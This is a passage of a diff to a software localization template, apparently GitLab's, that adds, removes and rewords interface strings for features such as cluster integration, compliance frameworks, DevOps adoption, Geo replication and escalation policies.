-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8071,27 +7885,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -8107,12 +7906,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -8185,6 +7978,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8200,9 +7996,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8501,9 +8303,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8540,9 +8339,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8561,42 +8357,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8615,6 +8378,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8869,6 +8635,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -9224,7 +8993,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9263,6 +9032,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9329,6 +9101,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9569,9 +9344,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9698,9 +9470,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9932,6 +9701,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9941,9 +9716,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9959,9 +9731,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -10037,6 +9806,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10258,9 +10030,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10327,6 +10096,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10688,9 +10469,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10715,6 +10493,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10748,7 +10529,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10868,6 +10649,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11553,12 +11337,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11616,7 +11418,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11628,21 +11430,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11676,6 +11481,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11697,6 +11505,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11715,15 +11526,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11911,7 +11719,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11962,7 +11770,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11971,6 +11779,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -12187,9 +11998,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -12223,9 +12031,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12286,6 +12091,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12415,6 +12223,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12424,13 +12235,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12511,13 +12325,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12535,6 +12346,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12550,9 +12364,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12562,9 +12373,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12694,6 +12502,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12859,9 +12670,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13342,7 +13150,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13351,30 +13159,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13384,6 +13216,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13420,9 +13261,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13568,7 +13406,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13589,9 +13427,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13688,9 +13523,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13709,9 +13541,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13997,9 +13826,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -14031,9 +13857,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -14082,9 +13905,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -14115,9 +13935,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -14133,9 +13950,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -14175,24 +13989,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -14202,9 +14004,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14290,9 +14089,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14308,6 +14104,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14374,9 +14173,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14545,6 +14341,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14566,10 +14365,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14773,159 +14569,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -15016,6 +14674,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -15115,9 +14776,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -15190,6 +14848,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -15199,6 +14863,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -15229,9 +14896,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -15253,6 +14917,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15793,9 +15466,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15841,6 +15511,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15862,9 +15541,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15895,6 +15571,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15964,13 +15643,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -16006,9 +15682,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16321,18 +15994,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16357,6 +16027,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16396,13 +16069,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16585,6 +16258,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16703,6 +16379,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16788,9 +16467,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16938,6 +16614,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -17120,9 +16799,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17628,13 +17304,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17724,9 +17403,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
